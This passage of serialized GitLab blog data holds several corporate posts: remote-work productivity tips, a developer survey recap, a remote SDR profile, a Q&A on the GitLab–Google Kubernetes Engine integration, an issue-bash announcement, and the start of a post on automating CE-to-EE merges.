off\n\nAt least for those few hours that you reserved for focused work turn off your email, phone and chat notifications. I have Slack notifications turned off all the time, and I check it outside of my “focus time.” The same goes for email.\n\nResearch suggests that [it takes a person 25 minutes](https://www.nytimes.com/2013/05/05/opinion/sunday/a-focus-on-distraction.html) and lots of mental energy to refocus on their work after a distraction. Stay strong and ignore the [dancing panda](https://www.youtube.com/watch?v=tf9ZhU7zF8s), at least for a while.\n\n### 5. Wrap up work and disconnect\n\nIf you work remotely it doesn’t mean that you need to work all the time. Treat your work just like you would in an office. Set your working hours and stick to them. Disconnect from everything work related after that. Spend time with your family, read a book, play a video game, write a journal…\n\nI go even further and set my “Do not disturb” mode on my phone from 8 p.m. to 9 a.m. and simply don’t check in on it during that time – it’s hard at the beginning when your brain is hardwired for that dopamine rush every time you check it, but it’s doable.\n\n### 6. Set a deadline for yourself\n\nWe have such a negative association with deadlines, but a self-imposed deadline is different. First of all, it needs to be realistic. If you can’t hit that deadline it will only lead to depression, burning out and chronic apathy. You know what’s cool about self-imposed, realistic deadlines? The feeling you get when you cross the tasks out and mark them as complete. People think that motivation is a thing that comes out of thin air but it doesn’t. The best way to get motivated is getting things done – even if it’s little things.\n\n### 7. Focus on one thing at a time\n\n[Multitasking really is a myth](https://www.inc.com/scott-mautz/psychology-and-neuroscience-blow-up-the-myth-of-effective-multitasking.html). Even if you think you’re an exception, the reality is that you’re wasting energy and attention when you’re switching from one thing to the other.\n\n## Bonus Stuff:\n\nIf you’re feeling edgy and want to go even further.\n\n### 8. Dedicate a room to work\n\nIf possible, dedicate a room to work, you know, like a study. Don’t work in a room where you do other stuff or where you sleep. If you do, your brain will start associating one with the other and soon it won’t know whether you’re going into the room to work or to sleep. This results in less focus when you work and lower quality of sleep. If that’s not possible, try going to a co-working space or even a coffee shop.\n\n### 9. Getting things done spreadsheet\n\n[![Getting things done spreadsheet](https://about.gitlab.com/images/blogimages/gtd-spreadsheet.jpg)](https://docs.google.com/spreadsheets/d/1j3N1mSbs_48r4kBo7SOCI2Weh4BdTL4dCn3ozP5HwzQ/edit?usp=sharing)\n\nThis is my systematic approach to getting things done. I didn’t come up with this idea, I picked it up from somewhere and modified it so it works for me. It’s quite simple: I keep all the things that I want to do in a spreadsheet, where I can set to which project each item belongs to, the status of the item and the deadline. I set my filters so it only shows me items with “To Do” and “Doing” status labels and sort by the Due Date. [You can see it in action and make a copy here.](https://docs.google.com/spreadsheets/d/1j3N1mSbs_48r4kBo7SOCI2Weh4BdTL4dCn3ozP5HwzQ/edit?usp=sharing) It feels so good to mark things as done and watch them disappear from the list 😊\n\n**Recommended reading:**\n- [Preventing Burnout](/blog/preventing-burnout/)\n- [Deep work: Rules for Focused Success in a Distracted World](https://www.goodreads.com/book/show/28383248-deep-work) by Cal Newport\n- [Getting things done: The Art of Stress-Free Productivity](https://www.goodreads.com/book/show/1633.Getting_Things_Done?ac=1&from_search=true) by David Allen\n- [The Power of Habit: Why We Do What We Do in Life and Business](https://www.goodreads.com/book/show/12609433-the-power-of-habit?ac=1&from_search=true) by Charles Duhigg\n",[3798],{"slug":33420,"featured":6,"template":678},"eliminating-distractions-and-getting-things-done","content:en-us:blog:eliminating-distractions-and-getting-things-done.yml","Eliminating Distractions And Getting Things Done","en-us/blog/eliminating-distractions-and-getting-things-done.yml","en-us/blog/eliminating-distractions-and-getting-things-done",{"_path":33426,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":33427,"content":33433,"config":33438,"_id":33440,"_type":16,"title":33441,"_source":17,"_file":33442,"_stem":33443,"_extension":20},"/en-us/blog/top-five-takeaways-from-the-developer-survey",{"title":33428,"description":33429,"ogTitle":33428,"ogDescription":33429,"noIndex":6,"ogImage":33430,"ogUrl":33431,"ogSiteName":1180,"ogType":1181,"canonicalUrls":33431,"schema":33432},"Top 5 takeaways from the 2018 Developer Survey","GitLab's director of product marketing discusses the challenges facing DevOps adoption and other key findings from our 2018 Developer Survey.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680105/Blog/Hero%20Images/top-five-takeaways-blog-image.jpg","https://about.gitlab.com/blog/top-five-takeaways-from-the-developer-survey","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Top 5 takeaways from the 2018 Developer Survey\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Aricka Flowers\"}],\n        \"datePublished\": \"2018-05-14\",\n      }",{"title":33428,"description":33429,"authors":33434,"heroImage":33430,"date":33435,"body":33436,"category":8943,"tags":33437},[29394],"2018-05-14","\n_Our [2022 Global DevSecOps Survey](/developer-survey/) has the latest insights from over 5,000 DevOps professionals._\n\nWhile the merits of cross-functional workflows are becoming more accepted in the software development space, it still has quite a way to go. In fact, [GitLab’s survey of 5,000 software professionals](/developer-survey/previous/2018/) found that only 23 percent of respondents are working with a DevOps workflow.\n\nThis is one of five top takeaways from the annual report on software development trends and the impact continuous integration and automation have on the way IT teams work.\n\n- [What’s in the webcast](#whats-in-the-webcast)\n- [Watch the recording](#watch-the-recording)\n- [Top takeaways](#top-takeaways)\n\n## What’s in the webcast\n\nThe discussion kicks off with the differing outlooks managers and developers have on DevOps adoption and the source of bottlenecks in the development process. We move on to highlight the distinctions between high- and low-performing teams and the role open source tools have in software development. The discussion then delves into the way continuous integration helps teams get working code out of the door faster.\n\n## Watch the recording\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/7hgoeV6LcFo\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Top takeaways\n\n### Managers are more optimistic about their DevOps adoption progress than developers\n\n>Companies tend to look at DevOps as the next transformational methodology that's going to solve all software delivery problems, and of course there's a lot of truth in that when done really well. What we're finding is when you actually go and survey these organizations, managers and the management layer seem to have a more optimistic view of how they are progressing and what they can do with it. And though developers find the promise in it, they tend to agree less with the optimism of management. From our perspective, that makes a lot of sense because developers are in the trenches tooling, retooling, trying to configure, making that CD pipeline work, always kind of running into different roadblocks and trying to solve that all the time. So, although they're excited, I think their viewpoint is not necessarily as rosy about it when compared to management.\n\n### Developers say most delays in the development process are in the testing phase, while managers say the majority of bottlenecks are attributed to the planning process\n\n>Everybody acknowledges that there are bottlenecks and delays in this development pipeline. When doing DevOps, you still get stuck. But where they actually encounter these delays and bottlenecks varied from team to team. The majority of this was in testing, the next one was planning. Development, operations, and practitioner teams actually found most of the bottlenecks and delays in their actual phases of work, whether this was testing the plan to production, etcetera. Management was found to be more frustrated and concerned about the planning phase of getting things kick started. - Ashish Kuthiala\n\n>Fifty-two percent of people say that testing is where they encounter the most delays. I don't think that's a number to be taken lightly. This is why continuous testing, automated testing is such a big piece of the DevOps software development lifecycle. If that's the single biggest cause for delay and we can automate more of that testing, the time it takes has got to come down. - Alan Shimel\n\n### Open source tools play an integral role in the software development process\n\n>We're finding that open source tools are becoming a very critical component that developers choose to help solve their problems. People are starting to look at tools that they can integrate with their stack and modify or contribute to; and they want to be recognized as well. So they're starting to turn to tools that are malleable, tools that they can use and understand what's underneath the hood. There's a good community around open source because as developers face problems, they can ask their peers for help and also help others. - Ashish Kuthiala\n\n### Teams that self-identify as high performing do DevOps well\n\n>Teams that move fast work on smaller pieces of code and get them out of production quickly, i.e. they do DevOps well and they assess themselves as higher performing teams ...\nFor these teams that do well, we found that removing roadblocks in the development process starts with continuous integration. If you are doing continuous integration well and automating that portion of the lifecycle along with others, it makes a huge impact in removing bottlenecks. You have to ship and get the code or the configuration change production ready right away. The more you wait, the more it piles it up and the harder it becomes. - Ashish Kuthiala\n\nPhoto by [Caspar Rubin](https://unsplash.com/photos/fPkvU7RDmCo) on [Unsplash](https://unsplash.com/)\n{: .note}\n",[4103,8570,3554,1444,2368],{"slug":33439,"featured":6,"template":678},"top-five-takeaways-from-the-developer-survey","content:en-us:blog:top-five-takeaways-from-the-developer-survey.yml","Top Five Takeaways From The Developer Survey","en-us/blog/top-five-takeaways-from-the-developer-survey.yml","en-us/blog/top-five-takeaways-from-the-developer-survey",{"_path":33445,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":33446,"content":33452,"config":33458,"_id":33460,"_type":16,"title":33461,"_source":17,"_file":33462,"_stem":33463,"_extension":20},"/en-us/blog/day-in-life-of-remote-sdr",{"title":33447,"description":33448,"ogTitle":33447,"ogDescription":33448,"noIndex":6,"ogImage":33449,"ogUrl":33450,"ogSiteName":1180,"ogType":1181,"canonicalUrls":33450,"schema":33451},"A day in the life of a remote Sales Development Representative","Working as a remote SDR is a fulfilling career that enables flexibility, a positive work/life balance, and encourages strong bonds with team members.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680115/Blog/Hero%20Images/day-in-life-remote-sdr.jpg","https://about.gitlab.com/blog/day-in-life-of-remote-sdr","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"A day in the life of a remote Sales Development Representative\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Michael Miranda\"}],\n        \"datePublished\": \"2018-05-11\",\n      }",{"title":33447,"description":33448,"authors":33453,"heroImage":33449,"date":33455,"body":33456,"category":6634,"tags":33457},[33454],"Michael Miranda","2018-05-11","\n\nSales Development Representatives (SDRs) are the frontline forces built to march through endless rejection and cold calls to people who may not have heard of a product or who may already be committed to a solution. SDRs help an organization generate revenue by playing a crucial role in actively searching for customers who could benefit from our products and working to set up meetings between decision makers, solutions architects, and account executives. Across all industries, this is a difficult but rewarding path, since we have to use a variety of techniques to quickly establish a meaningful rapport and open a line of communication. Essentially, an SDR is a bridge between new customers and the product.\n\nIf you're familiar with the SDR role, then you have a basic understanding of what a typical day looks like. But, I don’t work at a typical organization. I work at GitLab, and I want to introduce you to life as a [remote SDR](https://handbook.gitlab.com/job-families/marketing/sales-development-representative/). Yes, there are some challenges, and yes, it does look different, but I wouldn’t have it any other way.\n\n## Getting started\n\nNormally, I wake up and check my email, Slack, and my calendar to know what I have for the day. Then, I take my daily three-step commute to the office; that’s right, three whole steps (studio apartment, don’t judge). Or, I’ll take a seven-minute walk to the coworking space that GitLab pays for. As a remote SDR, I can work from anywhere!\n\nThe activity kicks off with a daily standup meeting with my team, where we plan to discuss serious goals for the day but end up laughing about stories shared from the previous one. Our camaraderie helps to let off some steam and serves as a daily reminder that we’re all in this together. After our standup, we sync up with the rest of the company for the [Team Call](/handbook/communication/#team-call), which gives us a glimpse into the lives of other ’Labbers across the world. I may have a couple of meetings after the call, but here at GitLab, we’re not bogged down by countless internal meetings. We’re given the time to focus on what’s really important: crushing quota!\n\n## Working collaboratively\n\nAfter doing my research, I’ll make my calls and send out emails throughout the day. If I’m stuck on something, I’ll reach out to my team, hop on a video call with someone, and collaborate to come up with a strategy or solution. One of the most refreshing aspects about working at GitLab is that everyone is willing to help each other. We’re encouraged to build bonds with each other, so I schedule regular [coffee chats](/company/culture/all-remote/tips/#coffee-chats) to make a new friend or catch up with an old one. Everyone from our CEO to our newest ’Labber is happy to join a coffee call. In my first week, I messaged our [Chief People Officer](https://handbook.gitlab.com/job-families/people-group/chief-people-officer/), and we chatted the next day. I’ve never worked at an organization that encouraged its executive team to make themselves so available to others.\n\nIn addition to collaboration, GitLab values flexibility. If I have a doctor’s appointment, errands to run, or just decide that I want to take a longer lunch and embrace food coma, I have the freedom to do so. As a results-driven organization, GitLab is concerned about your productivity – not your hours.\n\n## Physical proximity isn’t necessary\n\nThroughout the day, my [account executive](https://handbook.gitlab.com/job-families/sales/account-executive) (AE) and I have a 1:1 call, depending on activity. At GitLab, each SDR is paired with a knowledgeable, experienced AE. My AE and I have a strong relationship, and we’re constantly communicating throughout the day. We send articles to each other, share random ideas, and drop in the occasional (ok, maybe frequent is the better word here) hilarious GIF or video. I feel like we’ve known each other forever, and we’ve never even met in person. He’s in Kansas, and I’m in Los Angeles! When I first started working at GitLab, I wasn’t sure how easy it would be to communicate with others across time zones, but with all the tools and processes that GitLab has developed, collaborating with him feels natural and easy. We may not work in the same building, but we have developed a great relationship.\n\n>I wasn’t sure how easy it would be to communicate with others across time zones, but with all the tools and processes that GitLab has developed, collaborating feels natural and easy\n\nThe freedom to work wherever I want allows me to minimize distractions and control noise levels, something that many SDRs are unable to do in a traditional office setting. I am able to completely focus on making calls, connecting with customers, and conducting research without getting distracted by the buzzing conversations of other SDRs around me. If I worked in an office, I would also be subjected to the challenges of context switching if a fellow SDR unexpectedly stopped by my cubicle to discuss a call or ask for help. While it may take more effort to build camaraderie with team members when working remotely, I believe that a remote work environment is more conducive to an SDR role, since noise and distraction can make potential customers feel unimportant.\n\nI wrap up each day by looking over my tasks and setting myself up for the next day. Sometimes I cut my day shorter (yay for Friday!) or start later (~~yay for~~ Monday!). The beautiful thing is that we focus on results, not the amount of hours teammates put in. I’m not forced to clock in at a certain time or wait to clock out even though my work is done. Remote and SDR may be two words you’d never thought would be a good fit, but I’m here to tell you that it fits well. I’ve been grateful to learn and experience that physical proximity isn’t required to develop strong bonds, deliver results, and feel immersed in a company culture. GitLab empowers their frontline with tools to facilitate camaraderie, helping the SDR team march forward to success.\n\nDoes working as a remote SDR appeal to you? We're hiring across multiple time zones – check out [our job listings](/jobs/).\n\nPhoto by [rawpixel.com](https://unsplash.com/) on [Unsplash](https://unsplash.com/search/photos/business?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[3798,676],{"slug":33459,"featured":6,"template":678},"day-in-life-of-remote-sdr","content:en-us:blog:day-in-life-of-remote-sdr.yml","Day In Life Of Remote Sdr","en-us/blog/day-in-life-of-remote-sdr.yml","en-us/blog/day-in-life-of-remote-sdr",{"_path":33465,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":33466,"content":33471,"config":33476,"_id":33478,"_type":16,"title":33479,"_source":17,"_file":33480,"_stem":33481,"_extension":20},"/en-us/blog/gke-webcast-recap-post",{"title":33467,"description":33468,"ogTitle":33467,"ogDescription":33468,"noIndex":6,"ogImage":29611,"ogUrl":33469,"ogSiteName":1180,"ogType":1181,"canonicalUrls":33469,"schema":33470},"Scalable app deployment with GitLab and Google Cloud Platform","Get the power to spin up a Kubernetes cluster managed by Google Cloud Platform in a few clicks – watch the demo of our native integration.","https://about.gitlab.com/blog/gke-webcast-recap-post","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Scalable app deployment with GitLab and Google Cloud Platform\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Suri Patel\"}],\n        \"datePublished\": \"2018-05-10\",\n      }",{"title":33467,"description":33468,"authors":33472,"heroImage":29611,"date":33473,"body":33474,"category":734,"tags":33475},[20767],"2018-05-10","\n\nThe GitLab + Google Kubernetes Engine integration's versatility speeds up software development and delivery while maintaining security and scale, allowing developers to focus on building apps instead of managing infrastructure. William Chia, Senior Product Marketing Manager at GitLab, and guest speaker William Denniss, Product Manager at Google, recently met to discuss the benefits of the integration.\n\n- [What is the GitLab GKE integration?](#what-is-the-gitlab-gke-integration)\n- [What's in the webcast?](#whats-in-the-webcast)\n- [Watch the recording](#watch-the-recording)\n- [Key takeaways](#key-takeaways)\n- [Webcast Q&A](#webcast-qa)\n\n## What is the GitLab GKE integration?\n\nWith our native Google Kubernetes Engine integration, you can automatically spin up a cluster to deploy applications, with just a few clicks. Simply connect your Google account, enter a few details, and GitLab will create the clusters for you. The clusters are fully managed by Google and run on Google Cloud Platform’s best-in-class infrastructure.\n\n## What's in the webcast\n\nWilliam Chia, Senior Product Marketing Manager at GitLab, and William Denniss, Product Manager at Google, explain how to deploy applications at scale using GKE and GitLab’s robust Auto DevOps capabilities.\n\nWe start with a crash course in Kubernetes, examining containers and deployment, before taking a closer look at the [Google Kubernetes Engine integration](/partners/technology-partners/google-cloud-platform/) and seeing it in action.\n\n## Watch the recording\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/uWC2QKv15mk\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Key takeaways\n\n#### A seamless collaboration\n\n>Using GitLab with GKE creates an environment in which you just need to merge your code, and GitLab does all the rest. - William Chia, GitLab Senior Product Marketing Manager\n\n#### Kubernetes for success\n\n>If you go with Kubernetes, it gives you a good start. You can hit a button and configure GKE to do it for you and scale massively when you need to. It really sets you up for success. GitLab is a really great way to get started with Kubernetes, because it sets up everything nicely for you in an automated way. - William Denniss, Google Product Manager\n\n## Webcast Q&A\n\nDuring the webcast, live participants chatted in questions to the team. Here are some of the answers that were given via chat along with several questions we didn’t get a chance to answer during the webcast.\n\n>Does Kubernetes have a built-in load balancer?\n\nIt does have support for load balancing across pods within a service. You may also need an external load balancer, in the event you have multiple nodes. Creating a [Kubernetes Service object](https://kubernetes.io/docs/tasks/access-application-cluster/service-access-application-cluster) and an [external load balancer](https://kubernetes.io/docs/tasks/access-application-cluster/create-external-load-balancer) are great first steps.\n\n>Is it possible to deploy multiple projects in the same Kubernetes cluster?\n\nIt is, you can add the cluster manually to additional projects. We are also working to make this easier in our UI, with [support for defining clusters at the group level](https://gitlab.com/gitlab-org/gitlab-ce/issues/34758).\n\n>So coming back to the setup of a cluster. If you have a separate environment for development, test, acceptance, and production, it seems we would have multiple options, like multiple clusters, or one cluster with multiple environments. Or even one cluster, one environment and point the correct environment in the `.gitlab-ci.yml` file (environment page in GitLab). What do you recommend to use to have a nice CI/CD integration and still separate environments?\n\nWe support integrating multiple clusters into a single project, and you can define which environments should be deployed to which clusters by [using the environment scope](https://docs.gitlab.com/ee/user/project/clusters/#setting-the-environment-scope).\n\n>Is it possible to add several clusters to the same project? To isolate environments based on clusters rather than namespaces.\n\nYes, this is a feature of GitLab Premium/Silver. (Note: Open source projects on GitLab.com get all of the features of our top-tier plan for free. Public projects on GitLab.com also have this capability.)\n\n>Does GitLab support on-demand cluster creation for integration testing for QA environments?\n\nWe support the integration of multiple clusters, and you can define which cluster each environment should be deployed to. For example, you can state that all review apps should be deployed into one cluster. If you would like to dynamically create a cluster during a test, you of course can do that as well by scripting that in a job.\n\n>Are these features available on GitLab CE?\n\nCluster integration and the main Auto DevOps functionality are available in Core (CE or EE without a license). Some jobs do require Premium, and they are noted in our [Auto DevOps documentation](https://docs.gitlab.com/ee/topics/autodevops/#stages-of-auto-devops).\n\n>The test stages are paid features, right?\n\nMany test jobs are open source features available in Core, and indeed some do require an paid license. The requirements for each job are noted in our [Auto DevOps documentation](https://docs.gitlab.com/ee/topics/autodevops/#stages-of-auto-devops).\n\n>What did you mean: “You can run Enterprise Edition without a license?”\n\nGitLab Enterprise Edition uses a license key to grant you access to the features of the Starter, Premium, and Ultimate plans. If you install Enterprise Edition and don’t have a license key, then you will get access to all of the Core features.\n\n[Learn more about GitLab's tiers](/blog/gitlab-tiers/).\n\n[Learn if you should use Community Edition or Enterprise Edition](/install/ce-or-ee/).\n\n>Is there a free version of GKE for testing and learning?\n\nEvery new Google Cloud Platform account receives $300 in credit upon [signup](https://console.cloud.google.com/freetrial?utm_campaign=2018_cpanel&utm_source=gitlab&utm_medium=referral). In partnership with Google, GitLab is able to offer an additional $200 for new GCP accounts to get started with GitLab’s GKE Integration. This allows you ample usage to test and learn for free.  Visit the Google partner credit page to apply for the $200 additional credit.\n\n>I see there is a $200 credit for playing around with GitLab and GKE. Can you elaborate on that? How to receive it, etc... Is it available for personal use or for professional use only? A contact form opens that wants my professional email address.\n\nThe $200 partner credit is intended for professional use. You can apply by visiting the Google Cloud Platform [partner page](https://cloud.google.com/partners/partnercredit/?PCN=a0n60000006Vpz4AAC) and filling out the form. You'll receive an email from the Google team with a key to redeem your credit.\n\n>Will Prometheus also gather the metrics without Auto DevOps, for example our own `.gitlab-ci.yml`? Or do we need to get something from the DevOps template?\n\nWe detect common system services like the NGINX Ingress or Kubernetes CPU/Memory metrics. If you use the NGINX Ingress deployed from GitLab, it is automatically configured for exporting Prometheus metrics. Additional documentation is available in our [Prometheus documentation](https://docs.gitlab.com/ee/user/project/integrations/prometheus_library/nginx_ingress.html).\n\n>Will you also support AWS?\n\nOther providers are certainly items we are considering for future releases, but we started with GKE since we felt it has the best managed Kubernetes experience available today. Other clusters can always be added manually, with just a few extra steps.\n\n>What if GitLab is running on GKE itself, can you connect the app to the same Kubernetes cluster GitLab is running on? And how safe is it to run this auto-deployment on your existing Kubernetes clusters/cluster GitLab is running on? Looks as if you could easily waste your cluster with this.\n\nIf you’re running GitLab on GKE, you can definitely connect it to the same cluster GitLab is running on to execute your GitLab runners, and as the deployment target for Auto DevOps. I’d advise to use separate namespaces for your GitLab instance to avoid any interference.\n\nNamespaces are the key to achieving workload isolation in Kubernetes; they provide isolation between different deployments to avoid one accidentally influencing the other. If you like (and it’s a bit more configuration), you can even use RBAC to prevent any developer pipelines from ever touching production.\n\nIf you want total isolation, then create a separate GCP project, with a separate cluster for production :) This is definitely the best practice for larger deployments.\n\n>I have been playing around with the `dependency_scanning`/`sast`/`dast` jobs, but the images are not cached on the runner. Will they be cached in (near) future or do we need to add any configuration?\n\nWe use Docker-in-Docker for most of these jobs, so caching is a bit tricky, and we have an [issue tracking this](https://gitlab.com/gitlab-org/gitlab-ce/issues/17861).\n\n>What does GitLab use to create the container image?\n\nAuto DevOps uses Herokuish and Heroku buildpacks to automatically detect and build the application into a Docker image. If you add a Dockerfile to your repo, GitLab will use docker build to create a Docker image.\n\n>Does the GKE/Kubenetes integration require the GitLab installation to be publicly accessible from the internet? Or will it work just as well if the GitLab server is private?\n\nIt does not, but if you deploy a runner to the cluster it will need to be able to access the GitLab server to pick up jobs and do its Git clones.\n\n>How does one manage to different `.env` files for different environments with GitLab CI?\n\nIf you define environment variables at the project level, you can specify which ones are available for which environments by following the [documentation on limiting environment scopes](https://docs.gitlab.com/ee/ci/variables/#limiting-environment-scopes-of-secret-variables).\n\n>What do I do when I receive this error: “We could not verify that one of your projects on GCP has billing enabled. Please try again.”\n\nPlease read the second bullet on the [GCP billing on the documentation page](https://docs.gitlab.com/ee/user/project/clusters/#adding-and-creating-a-new-gke-cluster-via-gitlab), which should help ensure that billing is set up for your account.\n\n>Is there a setting to control the number of review apps which are running live at any given time? Worried about cost.\n\nNote that review apps only run on open Merge Requests. If you are using the Auto DevOps template, then once the code is merged, or the MR is closed, the review app shuts down. Today, there’s not a feature to limit the number of review apps, but there are a few options. Review app environments can be manually stopped from both the MR and the environments page. You can also disable review apps altogether.\n\n>What are requirements for installing the one-click applications to the cluster?\n\nHelm Tiller, Ingress, Prometheus, and GitLab Runner don't have any special requirements to install via one-click. The integration takes care to ensure the appropriate container images are used and everything is configured properly. The only prerequisite is to install Helm Tiller first (since it is used to install the other applications.) If you install these applications manually to your cluster, you can learn about the requirements for each on their respective documentation pages.\n\n>Does this replace solutions like Rancher?\n\nIn a nutshell, yes, the GitLab GKE integration provisions and manages clusters on GKE, alleviating the need for Rancher. But this also depends on your needs. You can use GitLab with or without Rancher. For example, if you are using AKS or EKS, then Rancher will provision and manage your cluster automatically, while this requires manual configuration on GitLab.\n\n>What is the current state of installing GitLab on Kubernetes?\n\nGitLab has two Helm charts for installing GitLab on Kubernetes – the GitLab-Omnibus chart and the cloud native GitLab chart.\n\nGitLab-Omnibus: The best way to run GitLab on Kubernetes today, suited for small deployments. The chart is in beta and will be deprecated by the cloud native GitLab chart.\nCloud native GitLab chart: The next generation GitLab chart, currently in alpha. Will support large deployments with horizontal scaling of individual GitLab components. For more information, please visit [the GitLab Helm chart documentation page](https://docs.gitlab.com/charts/).\n\n>How usable is the new Helm chart for GitLab on Kubernetes?\n\nIt is in alpha, and we plan to have a beta available in May/June. We created [an issue](https://gitlab.com/groups/charts/-/epics/17) to note the items we are working to address before beta.\n\n>How can I enable Auto DevOps if I have `gitlab-ci.yml` file already, but for only build and test?\n\nAuto DevOps will use your custom `gitlab-ci.yml` file if it is present in your repo. If there is no file, then Auto DevOps will use the default Auto DevOps template. You can also see the [Auto DevOps template `gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab-ci-yml/blob/master/Auto-DevOps.gitlab-ci.yml) and use it as a reference to add/update your `gitlab-ci.yml`. For more information, please visit [the customizing `.gitlab-ci.yml` documentation page](https://docs.gitlab.com/ee/topics/autodevops/#customizing-gitlab-ci-yml).\n\nHave you tried the GitLab + GKE integration? Tweet us [@gitlab](https://twitter.com/gitlab).\n",[3049,923,2509,3554,4144],{"slug":33477,"featured":6,"template":678},"gke-webcast-recap-post","content:en-us:blog:gke-webcast-recap-post.yml","Gke Webcast Recap Post","en-us/blog/gke-webcast-recap-post.yml","en-us/blog/gke-webcast-recap-post",{"_path":33483,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":33484,"content":33490,"config":33496,"_id":33498,"_type":16,"title":33499,"_source":17,"_file":33500,"_stem":33501,"_extension":20},"/en-us/blog/gitlab-issue-bash-june-2018",{"title":33485,"description":33486,"ogTitle":33485,"ogDescription":33486,"noIndex":6,"ogImage":33487,"ogUrl":33488,"ogSiteName":1180,"ogType":1181,"canonicalUrls":33488,"schema":33489},"Join GitLab's June Issue Bash","Join us thin June and help us squash some of the open issues in the GitLab Community Edition tracker!","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680123/Blog/Hero%20Images/gitlab-issue-bash-june-2017-cover.png","https://about.gitlab.com/blog/gitlab-issue-bash-june-2018","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Join GitLab's June Issue Bash\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mark Fletcher\"}],\n        \"datePublished\": \"2018-05-09\",\n      }",{"title":33485,"description":33486,"authors":33491,"heroImage":33487,"date":33493,"body":33494,"category":299,"tags":33495},[33492],"Mark Fletcher","2018-05-09","\n\nThis June we'll be holding another of our quarterly issue bashes to allow the community to get involved in helping to squash some issues in the GitLab Community Edition issue tracker. We have over 1,900\n[GitLab contributors](http://contributors.gitlab.com/),\nand we are always looking for more people to join in and contribute to the project in any way that they can.\n\n\u003C!-- more -->\n\nOf course, some lucky contributors will be rewarded with awesome swag! 🙌\n\nCheck out [the Issue Bash landing page](/community/issue-bash/) for all the information about how it works. Please take a look there and provide any feedback to our [feedback project](https://gitlab.com/gitlab-org/issue-bash/feedback) or propose changes directly [here](https://gitlab.com/gitlab-com/www-gitlab-com/blob/master/source/community/issue-bash/index.html.haml)!\n\n## When is it going to happen?\n\nWe'll kick it off at 00:01 UTC on Saturday, **June 2nd**\nand will keep it up until 23:59 UTC on Sunday, **June 3rd**.\n\n## Who can contribute?\n\n{::options parse_block_html=\"true\" /}\n\n\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i>\n&nbsp;&nbsp;\n**At GitLab, everyone can contribute!**\n&nbsp;&nbsp;\n\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i>\n{: .alert .alert-webcast}\n\nThis is your chance to get involved! Most of the tasks don't require\ntechnical expertise, therefore, non-technical community\nmembers are definitely welcome and prize worthy!\n\n## How do you get involved?\n\nPlease see [the FAQ on the Issue Bash landing page](/community/issue-bash/#bash-q-a) to learn more about how to get involved.\n\n## Prizes\n\nAs prizes, we have some awesome swag available:\n\n- 14 T-shirts\n- 1 T-shirt and Hoodie for a lucky contributor\n\nUsers making any contributions to the project,\nbetween the start and end times of the event, will be entered into the random draw\nto win a prize. The contributions will be collated after the end of the event and\nprize winners, drawn at random, will be contacted in the weeks that follow.\n\nTo see how we draw winners at random please take a look at the [prize winner calculator project](https://gitlab.com/gitlab-org/issue-bash/prize-winner-calculator).\n\n## Questions? More info?\n\n[GitLab team](/company/team/) and [GitLab core team](/community/core-team/) members will be on hand to answer questions and close issues. Please mention them if you need any help or need attention on an issue.\n\n* [@markglenfletcher](https://gitlab.com/markglenfletcher)\n* [@tnir](https://gitlab.com/tnir)\n",[277,676,267,815],{"slug":33497,"featured":6,"template":678},"gitlab-issue-bash-june-2018","content:en-us:blog:gitlab-issue-bash-june-2018.yml","Gitlab Issue Bash June 2018","en-us/blog/gitlab-issue-bash-june-2018.yml","en-us/blog/gitlab-issue-bash-june-2018",{"_path":33503,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":33504,"content":33509,"config":33514,"_id":33516,"_type":16,"title":33517,"_source":17,"_file":33518,"_stem":33519,"_extension":20},"/en-us/blog/using-gitlab-ci-to-build-gitlab-faster",{"title":33505,"description":33506,"ogTitle":33505,"ogDescription":33506,"noIndex":6,"ogImage":25243,"ogUrl":33507,"ogSiteName":1180,"ogType":1181,"canonicalUrls":33507,"schema":33508},"How we used GitLab CI to build GitLab faster","Here's how we went from a daily manual merge of GitLab Core into GitLab Enterprise to automated merges every three hours.","https://about.gitlab.com/blog/using-gitlab-ci-to-build-gitlab-faster","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we used GitLab CI to build GitLab faster\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Rémy Coutable\"}],\n        \"datePublished\": \"2018-05-02\",\n      }",{"title":33505,"description":33506,"authors":33510,"heroImage":25243,"date":33511,"body":33512,"category":734,"tags":33513},[21642],"2018-05-02","\n\nGitLab is an [open source project], but also a [commercial project]. For historic\nreasons, we have two Git repositories: [`gitlab-ce`] for GitLab Core and\n[`gitlab-ee`] for GitLab Enterprise packages (you can read [our recent blog post explaining GitLab self-managed tiers](/blog/gitlab-tiers/)).\nWhile we're working on having a [single codebase], we still need to regularly\nmerge [`gitlab-ce`] into [`gitlab-ee`] since most of the development happens on\nGitLab Core, but 